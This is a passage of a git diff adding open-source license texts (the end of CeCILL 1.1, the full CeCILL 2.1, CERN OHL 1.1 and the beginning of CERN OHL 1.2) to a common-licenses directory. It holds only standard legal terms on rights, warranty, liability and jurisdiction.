+The Holder owns the economic rights over the Initial Software. Any or all use of the Initial Software is subject to compliance with the terms and conditions under which the Holder has elected to distribute its work and no one shall be entitled to and it shall have sole entitlement to modify the terms and conditions for the distribution of said Initial Software.
+
+The Holder undertakes to maintain the distribution of the Initial Software under the conditions of the Agreement, for the duration set forth in article 4.2..
+
+6.2. OVER THE CONTRIBUTIONS
+
+The intellectual property rights over the Contributions belong to the holder of the economic rights as designated by effective legislation.
+
+6.3. OVER THE DYNAMIC MODULES
+
+The Licensee having developed a Dynamic Module is the holder of the intellectual property rights over said Dynamic Module and is free to choose the agreement that shall govern its distribution.
+
+6.4. JOINT PROVISIONS
+
+6.4.1. The Licensee expressly undertakes:
+
+ 1. not to remove, or modify, in any or all manner, the intellectual property notices affixed to the Software;
+ 2. to reproduce said notices, in an identical manner, in the copies of the Software.
+
+6.4.2. The Licensee undertakes not to directly or indirectly infringe the intellectual property rights of the Holder and/or Contributors and to take, where applicable, vis-à-vis its staff, any or all measures required to ensure respect for said intellectual property rights of the Holder and/or Contributors.
+
+Article 7 - RELATED SERVICES
+
+7.1. Under no circumstances shall the Agreement oblige the Licensor to provide technical assistance or maintenance services for the Software.
+
+However, the Licensor is entitled to offer this type of service. The terms and conditions of such technical assistance, and/or such maintenance, shall then be set forth in a separate instrument. Only the Licensor offering said maintenance and/or technical assistance services shall incur liability therefor.
+
+7.2. Similarly, any or all Licensor shall be entitled to offer to its Licensees, under its own responsibility, a warranty, that shall only be binding upon itself, for the redistribution of the Software and/or the Modified Software, under terms and conditions that it shall decide upon itself. Said warranty, and the financial terms and conditions of its application, shall be subject to a separate instrument executed between the Licensor and the Licensee.
+
+Article 8 - LIABILITY
+
+8.1. Subject to the provisions of Article 8.2, should the Licensor fail to fulfill all or part of its obligations hereunder, the Licensee shall be entitled to claim compensation for the direct loss suffered as a result of a fault on the part of the Licensor, subject to providing evidence of it.
+
+8.2. The Licensor's liability is limited to the commitments made under this Licensing Agreement and shall not be incurred as a result , in particular: (i) of loss due the Licensee's total or partial failure to fulfill its obligations, (ii) direct or consequential loss due to the Software's use or performance that is suffered by the Licensee, when the latter is a professional using said Software for professional purposes and (iii) consequential loss due to the Software's use or performance. The Parties expressly agree that any or all pecuniary or business loss (i.e. loss of data, loss of profits, operating loss, loss of customers or orders, opportunity cost, any disturbance to business activities) or any or all legal proceedings instituted against the Licensee by a third party, shall constitute consequential loss and shall not provide entitlement to any or all compensation from the Licensor.
+
+Article 9 - WARRANTY
+
+9.1. The Licensee acknowledges that the current situation as regards scientific and technical know-how at the time when the Software was distributed did not enable all possible uses to be tested and verified, nor for the presence of any or all faults to be detected. In this respect, the Licensee's attention has been drawn to the risks associated with loading, using, modifying and/or developing and reproducing the Software that are reserved for experienced users.
+
+The Licensee shall be responsible for verifying, by any or all means, the product's suitability for its requirements, its due and proper functioning, and for ensuring that it shall not cause damage to either persons or property.
+
+9.2. The Licensor hereby represents, in good faith, that it is entitled to grant all the rights on the Software (including in particular the rights set forth in Article 5 hereof over the Software).
+
+9.3. The Licensee acknowledges that the Software is supplied "as is" by the Licensor without any or all other express or tacit warranty, other than that provided for in Article 9.2 and, in particular, without any or all warranty as to its market value, its secured, innovative or relevant nature.
+
+Specifically, the Licensor does not warrant that the Software is free from any or all error, that it shall operate continuously, that it shall be compatible with the Licensee's own equipment and its software configuration, nor that it shall meet the Licensee's requirements.
+
+9.4. The Licensor does not either expressly or tacitly warrant that the Software does not infringe any or all third party intellectual right relating to a patent, software or to any or all other property right. Moreover, the Licensor shall not hold the Licensee harmless against any or all proceedings for infringement that may be instituted in respect of the use, modification and redistribution of the Software. Nevertheless, should such proceedings be instituted against the Licensee, the Licensor shall provide it with technical and legal assistance for its defense. Such technical and legal assistance shall be decided upon on a case-by-case basis between the relevant Licensor and the Licensee pursuant to a memorandum of understanding. The Licensor disclaims any or all liability as regards the Licensee's use of the Software's name. No warranty shall be provided as regards the existence of prior rights over the name of the Software and as regards the existence of a trademark.
+
+Article 10 - TERMINATION
+
+10.1. In the event of a breach by the Licensee of its obligations hereunder, the Licensor may automatically terminate this Agreement thirty (30) days after notice has been sent to the Licensee and has remained ineffective.
+
+10.2. The Licensee whose Agreement is terminated shall no longer be authorized to use, modify or distribute the Software. However, any or all licenses that it may have granted prior to termination of the Agreement shall remain valid subject to their having been granted in compliance with the terms and conditions hereof.
+
+Article 11 - MISCELLANEOUS PROVISIONS
+
+11.1. EXCUSABLE EVENTS
+
+Neither Party shall be liable for any or all delay, or failure to perform the Agreement, that may be attributable to an event of force majeure, an act of God or an outside cause, such as, notably, defective functioning, or interruptions affecting the electricity or telecommunications networks, blocking of the network following a virus attack, the intervention of the government authorities, natural disasters, water damage, earthquakes, fire, explosions, strikes and labor unrest, war, etc.
+
+11.2. The fact that either Party may fail, on one or several occasions, to invoke one or several of the provisions hereof, shall under no circumstances be interpreted as being a waiver by the interested Party of its entitlement to invoke said provision(s) subsequently.
+
+11.3. The Agreement cancels and replaces any or all previous agreement, whether written or oral, between the Parties and having the same purpose, and constitutes the entirety of the agreement between said Parties concerning said purpose. No supplement or modification to the terms and conditions hereof shall be effective as regards the Parties unless it is made in writing and signed by their duly authorized representatives.
+
+11.4. In the event that one or several of the provisions hereof were to conflict with a current or future applicable act or legislative text, said act or legislative text shall take precedence, and the Parties shall make the necessary amendments so as to be in compliance with said act or legislative text. All the other provisions shall remain effective. Similarly, the fact that a provision of the Agreement may be null and void, for any reason whatsoever, shall not cause the Agreement as a whole to be null and void.
+
+11.5. LANGUAGE
+
+The Agreement is drafted in both French and English. In the event of a conflict as regards construction, the French version shall be deemed authentic.
+
+Article 12 - NEW VERSIONS OF THE AGREEMENT
+
+12.1. Any or all person is authorized to duplicate and distribute copies of this Agreement.
+
+12.2. So as to ensure coherence, the wording of this Agreement is protected and may only be modified by the authors of the License, that reserve the right to periodically publish updates or new versions of the Agreement, each with a separate number. These subsequent versions may address new issues encountered by Free Software.
+
+12.3. Any or all Software distributed under a given version of the Agreement may only be subsequently distributed under the same version of the Agreement, or a subsequent version, subject to the provisions of article 5.3.4.
+
+Article 13 - GOVERNING LAW AND JURISDICTION
+
+13.1. The Agreement is governed by French law. The Parties agree to endeavor to settle the disagreements or disputes that may arise during the performance of the Agreement out-of-court.
+
+13.2. In the absence of an out-of-court settlement within two (2) months as from their occurrence, and unless emergency proceedings are necessary, the disagreements or disputes shall be referred to the Paris Courts having jurisdiction, by the first Party to take action.
+
+ Version 1.1 of 10/26/2004
diff --git a/meta/files/common-licenses/CECILL-2.1 b/meta/files/common-licenses/CECILL-2.1
new file mode 100644
index 0000000000..d290c0694a
--- /dev/null
+++ b/meta/files/common-licenses/CECILL-2.1
@@ -0,0 +1,518 @@
+
+ CeCILL FREE SOFTWARE LICENSE AGREEMENT
+
+Version 2.1 dated 2013-06-21
+
+
+ Notice
+
+This Agreement is a Free Software license agreement that is the result
+of discussions between its authors in order to ensure compliance with
+the two main principles guiding its drafting:
+
+ * firstly, compliance with the principles governing the distribution
+ of Free Software: access to source code, broad rights granted to users,
+ * secondly, the election of a governing law, French law, with which it
+ is conformant, both as regards the law of torts and intellectual
+ property law, and the protection that it offers to both authors and
+ holders of the economic rights over software.
+
+The authors of the CeCILL (for Ce[a] C[nrs] I[nria] L[ogiciel] L[ibre])
+license are:
+
+Commissariat à l'énergie atomique et aux énergies alternatives - CEA, a
+public scientific, technical and industrial research establishment,
+having its principal place of business at 25 rue Leblanc, immeuble Le
+Ponant D, 75015 Paris, France.
+
+Centre National de la Recherche Scientifique - CNRS, a public scientific
+and technological establishment, having its principal place of business
+at 3 rue Michel-Ange, 75794 Paris cedex 16, France.
+
+Institut National de Recherche en Informatique et en Automatique -
+Inria, a public scientific and technological establishment, having its
+principal place of business at Domaine de Voluceau, Rocquencourt, BP
+105, 78153 Le Chesnay cedex, France.
+
+
+ Preamble
+
+The purpose of this Free Software license agreement is to grant users
+the right to modify and redistribute the software governed by this
+license within the framework of an open source distribution model.
+
+The exercising of this right is conditional upon certain obligations for
+users so as to preserve this status for all subsequent redistributions.
+
+In consideration of access to the source code and the rights to copy,
+modify and redistribute granted by the license, users are provided only
+with a limited warranty and the software's author, the holder of the
+economic rights, and the successive licensors only have limited liability.
+
+In this respect, the risks associated with loading, using, modifying
+and/or developing or reproducing the software by the user are brought to
+the user's attention, given its Free Software status, which may make it
+complicated to use, with the result that its use is reserved for
+developers and experienced professionals having in-depth computer
+knowledge. Users are therefore encouraged to load and test the
+suitability of the software as regards their requirements in conditions
+enabling the security of their systems and/or data to be ensured and,
+more generally, to use and operate it in the same conditions of
+security. This Agreement may be freely reproduced and published,
+provided it is not altered, and that no provisions are either added or
+removed herefrom.
+
+This Agreement may apply to any or all software for which the holder of
+the economic rights decides to submit the use thereof to its provisions.
+
+Frequently asked questions can be found on the official website of the
+CeCILL licenses family (http://www.cecill.info/index.en.html) for any
+necessary clarification.
+
+
+ Article 1 - DEFINITIONS
+
+For the purpose of this Agreement, when the following expressions
+commence with a capital letter, they shall have the following meaning:
+
+Agreement: means this license agreement, and its possible subsequent
+versions and annexes.
+
+Software: means the software in its Object Code and/or Source Code form
+and, where applicable, its documentation, "as is" when the Licensee
+accepts the Agreement.
+
+Initial Software: means the Software in its Source Code and possibly its
+Object Code form and, where applicable, its documentation, "as is" when
+it is first distributed under the terms and conditions of the Agreement.
+
+Modified Software: means the Software modified by at least one
+Contribution.
+
+Source Code: means all the Software's instructions and program lines to
+which access is required so as to modify the Software.
+
+Object Code: means the binary files originating from the compilation of
+the Source Code.
+
+Holder: means the holder(s) of the economic rights over the Initial
+Software.
+
+Licensee: means the Software user(s) having accepted the Agreement.
+
+Contributor: means a Licensee having made at least one Contribution.
+
+Licensor: means the Holder, or any other individual or legal entity, who
+distributes the Software under the Agreement.
+
+Contribution: means any or all modifications, corrections, translations,
+adaptations and/or new functions integrated into the Software by any or
+all Contributors, as well as any or all Internal Modules.
+
+Module: means a set of sources files including their documentation that
+enables supplementary functions or services in addition to those offered
+by the Software.
+
+External Module: means any or all Modules, not derived from the
+Software, so that this Module and the Software run in separate address
+spaces, with one calling the other when they are run.
+
+Internal Module: means any or all Module, connected to the Software so
+that they both execute in the same address space.
+
+GNU GPL: means the GNU General Public License version 2 or any
+subsequent version, as published by the Free Software Foundation Inc.
+
+GNU Affero GPL: means the GNU Affero General Public License version 3 or
+any subsequent version, as published by the Free Software Foundation Inc.
+
+EUPL: means the European Union Public License version 1.1 or any
+subsequent version, as published by the European Commission.
+
+Parties: mean both the Licensee and the Licensor.
+
+These expressions may be used both in singular and plural form.
+
+
+ Article 2 - PURPOSE
+
+The purpose of the Agreement is the grant by the Licensor to the
+Licensee of a non-exclusive, transferable and worldwide license for the
+Software as set forth in Article 5 <#scope> hereinafter for the whole
+term of the protection granted by the rights over said Software.
+
+
+ Article 3 - ACCEPTANCE
+
+3.1 The Licensee shall be deemed as having accepted the terms and
+conditions of this Agreement upon the occurrence of the first of the
+following events:
+
+ * (i) loading the Software by any or all means, notably, by
+ downloading from a remote server, or by loading from a physical medium;
+ * (ii) the first time the Licensee exercises any of the rights granted
+ hereunder.
+
+3.2 One copy of the Agreement, containing a notice relating to the
+characteristics of the Software, to the limited warranty, and to the
+fact that its use is restricted to experienced users has been provided
+to the Licensee prior to its acceptance as set forth in Article 3.1
+<#accepting> hereinabove, and the Licensee hereby acknowledges that it
+has read and understood it.
+
+
+ Article 4 - EFFECTIVE DATE AND TERM
+
+
+ 4.1 EFFECTIVE DATE
+
+The Agreement shall become effective on the date when it is accepted by
+the Licensee as set forth in Article 3.1 <#accepting>.
+
+
+ 4.2 TERM
+
+The Agreement shall remain in force for the entire legal term of
+protection of the economic rights over the Software.
+
+
+ Article 5 - SCOPE OF RIGHTS GRANTED
+
+The Licensor hereby grants to the Licensee, who accepts, the following
+rights over the Software for any or all use, and for the term of the
+Agreement, on the basis of the terms and conditions set forth hereinafter.
+
+Besides, if the Licensor owns or comes to own one or more patents
+protecting all or part of the functions of the Software or of its
+components, the Licensor undertakes not to enforce the rights granted by
+these patents against successive Licensees using, exploiting or
+modifying the Software. If these patents are transferred, the Licensor
+undertakes to have the transferees subscribe to the obligations set
+forth in this paragraph.
+
+
+ 5.1 RIGHT OF USE
+
+The Licensee is authorized to use the Software, without any limitation
+as to its fields of application, with it being hereinafter specified
+that this comprises:
+
+ 1. permanent or temporary reproduction of all or part of the Software
+ by any or all means and in any or all form.
+
+ 2. loading, displaying, running, or storing the Software on any or all
+ medium.
+
+ 3. entitlement to observe, study or test its operation so as to
+ determine the ideas and principles behind any or all constituent
+ elements of said Software. This shall apply when the Licensee
+ carries out any or all loading, displaying, running, transmission or
+ storage operation as regards the Software, that it is entitled to
+ carry out hereunder.
+
+
+ 5.2 ENTITLEMENT TO MAKE CONTRIBUTIONS
+
+The right to make Contributions includes the right to translate, adapt,
+arrange, or make any or all modifications to the Software, and the right
+to reproduce the resulting software.
+
+The Licensee is authorized to make any or all Contributions to the
+Software provided that it includes an explicit notice that it is the
+author of said Contribution and indicates the date of the creation thereof.
+
+
+ 5.3 RIGHT OF DISTRIBUTION
+
+In particular, the right of distribution includes the right to publish,
+transmit and communicate the Software to the general public on any or
+all medium, and by any or all means, and the right to market, either in
+consideration of a fee, or free of charge, one or more copies of the
+Software by any means.
+
+The Licensee is further authorized to distribute copies of the modified
+or unmodified Software to third parties according to the terms and
+conditions set forth hereinafter.
+
+
+ 5.3.1 DISTRIBUTION OF SOFTWARE WITHOUT MODIFICATION
+
+The Licensee is authorized to distribute true copies of the Software in
+Source Code or Object Code form, provided that said distribution
+complies with all the provisions of the Agreement and is accompanied by:
+
+ 1. a copy of the Agreement,
+
+ 2. a notice relating to the limitation of both the Licensor's warranty
+ and liability as set forth in Articles 8 and 9,
+
+and that, in the event that only the Object Code of the Software is
+redistributed, the Licensee allows effective access to the full Source
+Code of the Software for a period of at least three years from the
+distribution of the Software, it being understood that the additional
+acquisition cost of the Source Code shall not exceed the cost of the
+data transfer.
+
+
+ 5.3.2 DISTRIBUTION OF MODIFIED SOFTWARE
+
+When the Licensee makes a Contribution to the Software, the terms and
+conditions for the distribution of the resulting Modified Software
+become subject to all the provisions of this Agreement.
+
+The Licensee is authorized to distribute the Modified Software, in
+source code or object code form, provided that said distribution
+complies with all the provisions of the Agreement and is accompanied by:
+
+ 1. a copy of the Agreement,
+
+ 2. a notice relating to the limitation of both the Licensor's warranty
+ and liability as set forth in Articles 8 and 9,
+
+and, in the event that only the object code of the Modified Software is
+redistributed,
+
+ 3. a note stating the conditions of effective access to the full source
+ code of the Modified Software for a period of at least three years
+ from the distribution of the Modified Software, it being understood
+ that the additional acquisition cost of the source code shall not
+ exceed the cost of the data transfer.
+
+
+ 5.3.3 DISTRIBUTION OF EXTERNAL MODULES
+
+When the Licensee has developed an External Module, the terms and
+conditions of this Agreement do not apply to said External Module, that
+may be distributed under a separate license agreement.
+
+
+ 5.3.4 COMPATIBILITY WITH OTHER LICENSES
+
+The Licensee can include a code that is subject to the provisions of one
+of the versions of the GNU GPL, GNU Affero GPL and/or EUPL in the
+Modified or unmodified Software, and distribute that entire code under
+the terms of the same version of the GNU GPL, GNU Affero GPL and/or EUPL.
+
+The Licensee can include the Modified or unmodified Software in a code
+that is subject to the provisions of one of the versions of the GNU GPL,
+GNU Affero GPL and/or EUPL and distribute that entire code under the
+terms of the same version of the GNU GPL, GNU Affero GPL and/or EUPL.
+
+
+ Article 6 - INTELLECTUAL PROPERTY
+
+
+ 6.1 OVER THE INITIAL SOFTWARE
+
+The Holder owns the economic rights over the Initial Software. Any or
+all use of the Initial Software is subject to compliance with the terms
+and conditions under which the Holder has elected to distribute its work
+and no one shall be entitled to modify the terms and conditions for the
+distribution of said Initial Software.
+
+The Holder undertakes that the Initial Software will remain ruled at
+least by this Agreement, for the duration set forth in Article 4.2 <#term>.
+
+
+ 6.2 OVER THE CONTRIBUTIONS
+
+The Licensee who develops a Contribution is the owner of the
+intellectual property rights over this Contribution as defined by
+applicable law.
+
+
+ 6.3 OVER THE EXTERNAL MODULES
+
+The Licensee who develops an External Module is the owner of the
+intellectual property rights over this External Module as defined by
+applicable law and is free to choose the type of agreement that shall
+govern its distribution.
+
+
+ 6.4 JOINT PROVISIONS
+
+The Licensee expressly undertakes:
+
+ 1. not to remove, or modify, in any manner, the intellectual property
+ notices attached to the Software;
+
+ 2. to reproduce said notices, in an identical manner, in the copies of
+ the Software modified or not.
+
+The Licensee undertakes not to directly or indirectly infringe the
+intellectual property rights on the Software of the Holder and/or
+Contributors, and to take, where applicable, vis-à-vis its staff, any
+and all measures required to ensure respect of said intellectual
+property rights of the Holder and/or Contributors.
+
+
+ Article 7 - RELATED SERVICES
+
+7.1 Under no circumstances shall the Agreement oblige the Licensor to
+provide technical assistance or maintenance services for the Software.
+
+However, the Licensor is entitled to offer this type of services. The
+terms and conditions of such technical assistance, and/or such
+maintenance, shall be set forth in a separate instrument. Only the
+Licensor offering said maintenance and/or technical assistance services
+shall incur liability therefor.
+
+7.2 Similarly, any Licensor is entitled to offer to its licensees, under
+its sole responsibility, a warranty, that shall only be binding upon
+itself, for the redistribution of the Software and/or the Modified
+Software, under terms and conditions that it is free to decide. Said
+warranty, and the financial terms and conditions of its application,
+shall be subject of a separate instrument executed between the Licensor
+and the Licensee.
+
+
+ Article 8 - LIABILITY
+
+8.1 Subject to the provisions of Article 8.2, the Licensee shall be
+entitled to claim compensation for any direct loss it may have suffered
+from the Software as a result of a fault on the part of the relevant
+Licensor, subject to providing evidence thereof.
+
+8.2 The Licensor's liability is limited to the commitments made under
+this Agreement and shall not be incurred as a result of in particular:
+(i) loss due the Licensee's total or partial failure to fulfill its
+obligations, (ii) direct or consequential loss that is suffered by the
+Licensee due to the use or performance of the Software, and (iii) more
+generally, any consequential loss. In particular the Parties expressly
+agree that any or all pecuniary or business loss (i.e. loss of data,
+loss of profits, operating loss, loss of customers or orders,
+opportunity cost, any disturbance to business activities) or any or all
+legal proceedings instituted against the Licensee by a third party,
+shall constitute consequential loss and shall not provide entitlement to
+any or all compensation from the Licensor.
+
+
+ Article 9 - WARRANTY
+
+9.1 The Licensee acknowledges that the scientific and technical
+state-of-the-art when the Software was distributed did not enable all
+possible uses to be tested and verified, nor for the presence of
+possible defects to be detected. In this respect, the Licensee's
+attention has been drawn to the risks associated with loading, using,
+modifying and/or developing and reproducing the Software which are
+reserved for experienced users.
+
+The Licensee shall be responsible for verifying, by any or all means,
+the suitability of the product for its requirements, its good working
+order, and for ensuring that it shall not cause damage to either persons
+or properties.
+
+9.2 The Licensor hereby represents, in good faith, that it is entitled
+to grant all the rights over the Software (including in particular the
+rights set forth in Article 5 <#scope>).
+
+9.3 The Licensee acknowledges that the Software is supplied "as is" by
+the Licensor without any other express or tacit warranty, other than
+that provided for in Article 9.2 <#good-faith> and, in particular,
+without any warranty as to its commercial value, its secured, safe,
+innovative or relevant nature.
+
+Specifically, the Licensor does not warrant that the Software is free
+from any error, that it will operate without interruption, that it will
+be compatible with the Licensee's own equipment and software
+configuration, nor that it will meet the Licensee's requirements.
+
+9.4 The Licensor does not either expressly or tacitly warrant that the
+Software does not infringe any third party intellectual property right
+relating to a patent, software or any other property right. Therefore,
+the Licensor disclaims any and all liability towards the Licensee
+arising out of any or all proceedings for infringement that may be
+instituted in respect of the use, modification and redistribution of the
+Software. Nevertheless, should such proceedings be instituted against
+the Licensee, the Licensor shall provide it with technical and legal
+expertise for its defense. Such technical and legal expertise shall be
+decided on a case-by-case basis between the relevant Licensor and the
+Licensee pursuant to a memorandum of understanding. The Licensor
+disclaims any and all liability as regards the Licensee's use of the
+name of the Software. No warranty is given as regards the existence of
+prior rights over the name of the Software or as regards the existence
+of a trademark.
+
+
+ Article 10 - TERMINATION
+
+10.1 In the event of a breach by the Licensee of its obligations
+hereunder, the Licensor may automatically terminate this Agreement
+thirty (30) days after notice has been sent to the Licensee and has
+remained ineffective.
+
+10.2 A Licensee whose Agreement is terminated shall no longer be
+authorized to use, modify or distribute the Software. However, any
+licenses that it may have granted prior to termination of the Agreement
+shall remain valid subject to their having been granted in compliance
+with the terms and conditions hereof.
+
+
+ Article 11 - MISCELLANEOUS
+
+
+ 11.1 EXCUSABLE EVENTS
+
+Neither Party shall be liable for any or all delay, or failure to
+perform the Agreement, that may be attributable to an event of force
+majeure, an act of God or an outside cause, such as defective
+functioning or interruptions of the electricity or telecommunications
+networks, network paralysis following a virus attack, intervention by
+government authorities, natural disasters, water damage, earthquakes,
+fire, explosions, strikes and labor unrest, war, etc.
+
+11.2 Any failure by either Party, on one or more occasions, to invoke
+one or more of the provisions hereof, shall under no circumstances be
+interpreted as being a waiver by the interested Party of its right to
+invoke said provision(s) subsequently.
+
+11.3 The Agreement cancels and replaces any or all previous agreements,
+whether written or oral, between the Parties and having the same
+purpose, and constitutes the entirety of the agreement between said
+Parties concerning said purpose. No supplement or modification to the
+terms and conditions hereof shall be effective as between the Parties
+unless it is made in writing and signed by their duly authorized
+representatives.
+
+11.4 In the event that one or more of the provisions hereof were to
+conflict with a current or future applicable act or legislative text,
+said act or legislative text shall prevail, and the Parties shall make
+the necessary amendments so as to comply with said act or legislative
+text. All other provisions shall remain effective. Similarly, invalidity
+of a provision of the Agreement, for any reason whatsoever, shall not
+cause the Agreement as a whole to be invalid.
+
+
+ 11.5 LANGUAGE
+
+The Agreement is drafted in both French and English and both versions
+are deemed authentic.
+
+
+ Article 12 - NEW VERSIONS OF THE AGREEMENT
+
+12.1 Any person is authorized to duplicate and distribute copies of this
+Agreement.
+
+12.2 So as to ensure coherence, the wording of this Agreement is
+protected and may only be modified by the authors of the License, who
+reserve the right to periodically publish updates or new versions of the
+Agreement, each with a separate number. These subsequent versions may
+address new issues encountered by Free Software.
+
+12.3 Any Software distributed under a given version of the Agreement may
+only be subsequently distributed under the same version of the Agreement
+or a subsequent version, subject to the provisions of Article 5.3.4
+<#compatibility>.
+
+
+ Article 13 - GOVERNING LAW AND JURISDICTION
+
+13.1 The Agreement is governed by French law. The Parties agree to
+endeavor to seek an amicable solution to any disagreements or disputes
+that may arise during the performance of the Agreement.
+
+13.2 Failing an amicable solution within two (2) months as from their
+occurrence, and unless emergency proceedings are necessary, the
+disagreements or disputes shall be referred to the Paris Courts having
+jurisdiction, by the more diligent Party.
diff --git a/meta/files/common-licenses/CERN-OHL-1.1 b/meta/files/common-licenses/CERN-OHL-1.1
new file mode 100644
index 0000000000..9fcefc9568
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-1.1
@@ -0,0 +1,47 @@
+CERN OHL v1.1
+2011-07-08 - CERN, Geneva, Switzerland
+CERN Open Hardware Licence v1.1
+
+Preamble
+Through this CERN Open Hardware Licence ("CERN OHL") version 1.1, the Organization wishes to disseminate its hardware designs (as published on http://www.ohwr.org/) as widely as possible, and generally to foster collaboration among public research hardware designers. The CERN OHL is copyright of CERN. Anyone is welcome to use the CERN OHL, in unmodified form only, for the distribution of his own Open Hardware designs. Any other right is reserved.
+
+1. Definitions
+In this Licence, the following terms have the following meanings:
+“Licence” means this CERN OHL.
+“Documentation” means schematic diagrams, designs, circuit or circuit board layouts, mechanical drawings, flow charts and descriptive text, and other explanatory material that is explicitly stated as being made available under the conditions of this Licence. The Documentation may be in any medium, including but not limited to computer files and representations on paper, film, or any other media.
+“Product” means either an entire, or any part of a, device built using the Documentation or the modified Documentation.
+“Licensee” means any natural or legal person exercising rights under this Licence.
+“Licensor” means any natural or legal person that creates or modifies Documentation and subsequently communicates to the public and/ or distributes the resulting Documentation under the terms and conditions of this Licence.
+A Licensee may at the same time be a Licensor, and vice versa.
+
+2. Applicability
+2.1 This Licence governs the use, copying, modification, communication to the public and distribution of the Documentation, and the manufacture and distribution of Products. By exercising any right granted under this Licence, the Licensee irrevocably accepts these terms and conditions.
+2.2 This Licence is granted by the Licensor directly to the Licensee, and shall apply worldwide and without limitation in time. The Licensee may assign his licence rights or grant sub-licences.
+2.3 This Licence does not apply to software, firmware, or code loaded into programmable devices which may be used in conjunction with the Documentation, the modified Documentation or with Products. The use of such software, firmware, or code is subject to the applicable licence terms and conditions.
+
+3. Copying, modification, communication to the public and distribution of the Documentation
+3.1 The Licensee shall keep intact all copyright and trademarks notices and all notices that refer to this Licence and to the disclaimer of warranties that is included in the Documentation. He shall include a copy thereof in every copy of the documentation or, as the case may be, modified Documentation, that he communicates to the public or distributes.
+3.2 The Licensee may use, copy, communicate to the public and distribute verbatim copies of the Documentation, in any medium, subject to the requirements specified in section 3.1.
+3.3 The Licensee may modify the Documentation or any portion thereof. The Licensee may communicate to the public and distribute the modified Documentation (thereby in addition to being a Licensee also becoming a Licensor), always provided that he shall:
+a. comply with section 3.1;
+b. cause the modified Documentation to carry prominent notices stating that the Licensee has modified the Documentation, with the date and details of the modifications;
+c. license the modified Documentation under the terms and conditions of this Licence or, where applicable, a later version of this Licence as may be issued by CERN; and
+d. send a copy of the modified Documentation to all Licensors that contributed to the parts of the Documentation that were modified, as well as to any other Licensor who has requested to receive a copy of the modified Documentation and has provided a means of contact with the Documentation.
+3.4 The Licence includes a licence to those patents or registered designs that are held by the Licensor, to the extent necessary to make use of the rights granted under this Licence. The scope of this section 3.4 shall be strictly limited to the parts of the Documentation or modified Documentation created by the Licensor.
+
+4. Manufacture and distribution of Products
+4.1 The Licensee may manufacture or distribute Products always provided that the Licensee distributes to each recipient of such Products a copy of the Documentation or modified Documentation, as applicable, and complies with section 3.
+4.2 The Licensee is invited to inform in writing any Licensor who has indicated its wish to receive this information about the type, quantity and dates of production of Products the Licensee has (had) manufactured.
+
+5. Warranty and liability
+5.1 DISCLAIMER – The Documentation and any modified Documentation are provided "as is" and any express or implied warranties, including, but not limited to, implied warranties of merchantability, of satisfactory quality, and fitness for a particular purpose or use are disclaimed in respect of the Documentation, the modified Documentation or any Product. The Licensor makes no representation that the Documentation, modified Documentation, or any Product, does or will not infringe any patent, copyright, trade secret or other proprietary right. The entire risk as to the use, quality, and performance of a Product shall be with the Licensee and not the Licensor. This disclaimer of warranty is an essential part of this Licence and a condition for the grant of any rights granted under this Licence. The Licensee warrants that it does not act in a consumer capacity.
+5.2 LIMITATION OF LIABILITY – The Licensor shall have no liability for direct, indirect, special, incidental, consequential, exemplary, punitive or other damages of any character including, without limitation, procurement of substitute goods or services, loss of use, data or profits, or business interruption, however caused and on any
+theory of contract, warranty, tort (including negligence), product liability or otherwise, arising in any way in relation to the Documentation, modified Documentation and/or the use, manufacture or distribution of a Product, even if advised of the possibility of such damages, and the Licensee shall hold the Licensor(s) free and harmless
+from any liability, costs, damages, fees and expenses, including claims by third parties, in relation to such use.
+
+6. General
+6.1 The rights granted under this Licence do not imply or represent any transfer or assignment of intellectual property rights to the Licensee.
+6.2 The Licensee shall not use or make reference to any of the names, acronyms, images or logos under which the Licensor is known, save in so far as required to comply with section 3. Any such permitted use or reference shall be factual and shall in no event suggest any kind of endorsement by the Licensor or its personnel of the modified Documentation or any Product, or any kind of implication by the Licensor or its personnel in the preparation of the modified Documentation or Product.
+6.3 CERN may publish updated versions of this Licence which retain the same general provisions as this version, but differ in detail so far this is required and reasonable. New versions will be published with a unique version number.
+6.4 This Licence shall terminate with immediate effect, upon written notice and without involvement of a court if the Licensee fails to comply with any of its terms and conditions, or if the Licensee initiates legal action against Licensor in relation to this Licence. Section 5 shall continue to apply.
+6.5 Except as may be otherwise agreed with the Intergovernmental Organization, any dispute with respect to this Licence involving an Intergovernmental Organization shall, by virtue of the latter's Intergovernmental status, be settled by international arbitration. The arbitration proceedings shall be held at the place where the Intergovernmental Organization has its seat. The arbitral award shall be final and binding upon the parties, who hereby expressly agree to renounce any form of appeal or revision.
diff --git a/meta/files/common-licenses/CERN-OHL-1.2 b/meta/files/common-licenses/CERN-OHL-1.2
new file mode 100644
index 0000000000..6a8f2ffa55
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-1.2
@@ -0,0 +1,49 @@
+CERN OHL v1.2
+2013-09-06 - CERN, Geneva, Switzerland
+CERN Open Hardware Licence v1.2
+
+Preamble
+Through this CERN Open Hardware Licence ("CERN OHL") version 1.2, CERN wishes to provide a tool to foster collaboration and sharing among hardware designers. The CERN OHL is copyright CERN. Anyone is welcome to use the CERN OHL, in unmodified form only, for the distribution of their own Open Hardware designs. Any other right is reserved. Release of hardware designs under the CERN OHL does not constitute an endorsement of the licensor or its designs nor does it imply any involvement by CERN in the development of such designs.
+
+1. Definitions
+In this Licence, the following terms have the following meanings:
+“Licence” means this CERN OHL.
+“Documentation” means schematic diagrams, designs, circuit or circuit board layouts, mechanical drawings, flow charts and descriptive text, and other explanatory material that is explicitly stated as being made available under the conditions of this Licence. The Documentation may be in any medium, including but not limited to computer files and representations on paper, film, or any other media.
+“Documentation Location” means a location where the Licensor has placed Documentation, and which he believes will be publicly accessible for at least three years from the first communication to the public or distribution of Documentation.
+“Product” means either an entire, or any part of a, device built using the Documentation or the modified Documentation.
+“Licensee” means any natural or legal person exercising rights under this Licence.
+“Licensor” means any natural or legal person that creates or modifies Documentation and subsequently communicates to the public and/ or distributes the resulting Documentation under the terms and conditions of this Licence.
+A Licensee may at the same time be a Licensor, and vice versa.
+Use of the masculine gender includes the feminine and neuter genders and is employed solely to facilitate reading.
+
+2. Applicability
+2.1. This Licence governs the use, copying, modification, communication to the public and distribution of the Documentation, and the manufacture and distribution of Products. By exercising any right granted under this Licence, the Licensee irrevocably accepts these terms and conditions.
+2.2. This Licence is granted by the Licensor directly to the Licensee, and shall apply worldwide and without limitation in time. The Licensee may assign his licence rights or grant sub-licences.
